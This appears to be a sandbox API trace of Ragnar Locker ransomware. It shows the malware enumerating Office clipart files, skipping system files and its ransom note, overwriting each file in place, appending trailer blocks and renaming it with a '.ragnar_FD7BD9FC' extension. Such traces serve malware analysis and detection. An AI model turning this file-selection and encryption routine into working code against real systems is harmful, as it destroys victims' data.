LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1948, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.827] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1948, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1948, lpOverlapped=0x0) returned 1 [0090.827] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1948, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.827] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.828] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1948, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.828] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.828] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.828] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.828] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.828] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.828] GetProcessHeap () returned 0x580000 [0090.828] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.828] CloseHandle (hObject=0xf4) returned 1 [0090.828] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF" [0090.828] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF.ragnar_FD7BD9FC" [0090.828] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00364_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00364_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.829] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31846100, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x31846100, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x51ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00367_.WMF", cAlternateFileName="")) returned 1 [0090.829] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.829] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00367_.WMF" | out: lpString1="SO00367_.WMF") returned="SO00367_.WMF" [0090.829] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF") returned=".WMF" [0090.829] lstrcmpiW (lpString1="SO00367_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.829] lstrcmpiW (lpString1="SO00367_.WMF", lpString2="autorun.inf") returned 1 [0090.829] lstrcmpiW (lpString1="SO00367_.WMF", lpString2="boot.ini") returned 1 [0090.829] lstrcmpiW (lpString1="SO00367_.WMF", lpString2="bootfont.bin") returned 1 [0090.829] lstrcmpiW (lpString1="SO00367_.WMF", lpString2="bootsect.bak") returned 1 [0090.829] lstrcmpiW (lpString1="SO00367_.WMF", lpString2="bootmgr") returned 1 [0090.829] lstrcmpiW (lpString1="SO00367_.WMF", lpString2="bootmgr.efi") returned 1 [0090.829] lstrcmpiW (lpString1="SO00367_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.829] lstrcmpiW (lpString1="SO00367_.WMF", lpString2="desktop.ini") returned 1 [0090.829] lstrcmpiW (lpString1="SO00367_.WMF", lpString2="iconcache.db") returned 1 [0090.829] lstrcmpiW (lpString1="SO00367_.WMF", lpString2="ntldr") returned 1 [0090.829] lstrcmpiW (lpString1="SO00367_.WMF", lpString2="ntuser.dat") returned 1 [0090.829] lstrcmpiW (lpString1="SO00367_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.829] lstrcmpiW (lpString1="SO00367_.WMF", lpString2="ntuser.ini") returned 1 [0090.829] lstrcmpiW (lpString1="SO00367_.WMF", lpString2="thumbs.db") returned -1 [0090.829] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.829] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.829] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.829] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.830] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.830] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.830] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.830] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00367_.wmf")) returned 0x20 [0090.830] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00367_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.830] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=20970) returned 1 [0090.830] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x51e1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.830] GetProcessHeap () returned 0x580000 [0090.830] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.830] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.843] VirtualAlloc (lpAddress=0x0, dwSize=0x51ea, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.844] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.844] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.844] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x51ea, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x51ea, lpOverlapped=0x0) returned 1 [0091.261] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.266] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x51ea, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.266] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x51ea, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x51ea, lpOverlapped=0x0) returned 1 [0091.266] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x51ea, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.266] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.266] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x51ea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.267] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.267] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.267] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.267] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.267] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.267] GetProcessHeap () returned 0x580000 [0091.267] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.267] CloseHandle (hObject=0xf4) returned 1 [0091.267] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF" [0091.267] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF.ragnar_FD7BD9FC" [0091.267] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00367_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00367_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.270] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3308, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00373_.WMF", cAlternateFileName="")) returned 1 [0091.270] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.270] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00373_.WMF" | out: lpString1="SO00373_.WMF") returned="SO00373_.WMF" [0091.270] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF") returned=".WMF" [0091.270] lstrcmpiW (lpString1="SO00373_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.270] lstrcmpiW (lpString1="SO00373_.WMF", lpString2="autorun.inf") returned 1 [0091.270] lstrcmpiW (lpString1="SO00373_.WMF", lpString2="boot.ini") returned 1 [0091.270] lstrcmpiW (lpString1="SO00373_.WMF", lpString2="bootfont.bin") returned 1 [0091.270] lstrcmpiW (lpString1="SO00373_.WMF", lpString2="bootsect.bak") returned 1 [0091.270] lstrcmpiW (lpString1="SO00373_.WMF", lpString2="bootmgr") returned 1 [0091.270] lstrcmpiW (lpString1="SO00373_.WMF", lpString2="bootmgr.efi") returned 1 [0091.270] lstrcmpiW (lpString1="SO00373_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.270] lstrcmpiW (lpString1="SO00373_.WMF", lpString2="desktop.ini") returned 1 [0091.271] lstrcmpiW (lpString1="SO00373_.WMF", lpString2="iconcache.db") returned 1 [0091.271] lstrcmpiW (lpString1="SO00373_.WMF", lpString2="ntldr") returned 1 [0091.271] lstrcmpiW (lpString1="SO00373_.WMF", lpString2="ntuser.dat") returned 1 [0091.271] lstrcmpiW (lpString1="SO00373_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.271] lstrcmpiW (lpString1="SO00373_.WMF", lpString2="ntuser.ini") returned 1 [0091.271] lstrcmpiW (lpString1="SO00373_.WMF", lpString2="thumbs.db") returned -1 [0091.271] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.271] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.271] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.271] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.271] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.271] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.271] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00373_.wmf")) returned 0x20 [0091.271] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00373_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.272] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=13064) returned 1 [0091.272] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x32ff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.272] GetProcessHeap () returned 0x580000 [0091.272] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.272] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.326] VirtualAlloc (lpAddress=0x0, dwSize=0x3308, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.326] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.326] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.326] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3308, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3308, lpOverlapped=0x0) returned 1 [0091.327] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.327] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3308, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.327] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3308, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3308, lpOverlapped=0x0) returned 1 [0091.327] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3308, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.327] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.327] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3308, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.327] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.327] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.328] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.328] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.328] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.328] GetProcessHeap () returned 0x580000 [0091.328] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.328] CloseHandle (hObject=0xf4) returned 1 [0091.328] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF" [0091.328] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF.ragnar_FD7BD9FC" [0091.328] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00373_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00373_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.329] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b58e00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32b58e00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x27f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00382_.WMF", cAlternateFileName="")) returned 1 [0091.329] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.329] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00382_.WMF" | out: lpString1="SO00382_.WMF") returned="SO00382_.WMF" [0091.329] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF") returned=".WMF" [0091.329] lstrcmpiW (lpString1="SO00382_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.329] lstrcmpiW (lpString1="SO00382_.WMF", lpString2="autorun.inf") returned 1 [0091.329] lstrcmpiW (lpString1="SO00382_.WMF", lpString2="boot.ini") returned 1 [0091.330] lstrcmpiW (lpString1="SO00382_.WMF", lpString2="bootfont.bin") returned 1 [0091.330] lstrcmpiW (lpString1="SO00382_.WMF", lpString2="bootsect.bak") returned 1 [0091.330] lstrcmpiW (lpString1="SO00382_.WMF", lpString2="bootmgr") returned 1 [0091.330] lstrcmpiW (lpString1="SO00382_.WMF", lpString2="bootmgr.efi") returned 1 [0091.330] lstrcmpiW (lpString1="SO00382_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.330] lstrcmpiW (lpString1="SO00382_.WMF", lpString2="desktop.ini") returned 1 [0091.330] lstrcmpiW (lpString1="SO00382_.WMF", lpString2="iconcache.db") returned 1 [0091.330] lstrcmpiW (lpString1="SO00382_.WMF", lpString2="ntldr") returned 1 [0091.330] lstrcmpiW (lpString1="SO00382_.WMF", lpString2="ntuser.dat") returned 1 [0091.330] lstrcmpiW (lpString1="SO00382_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.330] lstrcmpiW (lpString1="SO00382_.WMF", lpString2="ntuser.ini") returned 1 [0091.330] lstrcmpiW (lpString1="SO00382_.WMF", lpString2="thumbs.db") returned -1 [0091.330] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.330] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.330] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.330] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.330] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.330] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.330] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.330] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00382_.wmf")) returned 0x20 [0091.330] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00382_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.331] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10228) returned 1 [0091.332] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x27eb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.332] GetProcessHeap () returned 0x580000 [0091.332] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.332] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.339] VirtualAlloc (lpAddress=0x0, dwSize=0x27f4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.339] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.339] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.339] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x27f4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x27f4, lpOverlapped=0x0) returned 1 [0091.340] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.340] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x27f4, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.340] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x27f4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x27f4, lpOverlapped=0x0) returned 1 [0091.340] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x27f4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.340] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.341] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x27f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 